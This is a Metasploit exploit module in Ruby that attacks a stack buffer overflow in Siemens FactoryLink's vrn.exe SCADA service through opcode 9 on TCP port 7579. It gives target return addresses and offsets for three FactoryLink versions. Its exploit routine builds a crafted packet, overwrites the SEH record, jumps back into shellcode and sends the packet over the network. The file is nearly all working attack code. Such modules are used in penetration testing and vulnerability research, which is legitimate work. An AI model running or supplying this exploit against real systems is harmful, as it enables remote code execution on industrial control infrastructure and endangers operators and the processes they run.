metasploit-framework/modules/exploits/windows/scada/factorylink_vrn_09.rb

90 lines
2.6 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to
execute arbitrary code due to the improper use of a vsprintf() function while
processing the user-supplied text field. Originally found and posted by
Luigi Auriemma.
},
'Author' =>
[
'Luigi Auriemma', # Public exploit
'hal', # Metasploit module
'MC', # SEH, badchars, etc
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '72815'],
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
],
'DisclosureDate' => 'Mar 21 2011'))
register_options([Opt::RPORT(7579)], self.class)
end
def exploit
header = "\x3f" * 4
header << "\xff\x55"
header << "\x09\x00" # opcode
header << "\x3f\x3f\xff\xff"
header << "\x00\x00\x3f\x3f"
header << "\x01\x00"
header << "\x3f" * 16
header << "\x01\x00\x01\x00"
header << "\x3f\x3f"
data = rand_text_alpha_upper(65535)
data[448, payload.encoded.length] = payload.encoded
data[target['Offset'], 8] = generate_seh_record(target.ret)
data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string
print_status("Trying target #{target.name}...")
connect
sock.put(header + data)
handler
select(nil,nil,nil,1)
disconnect
end
end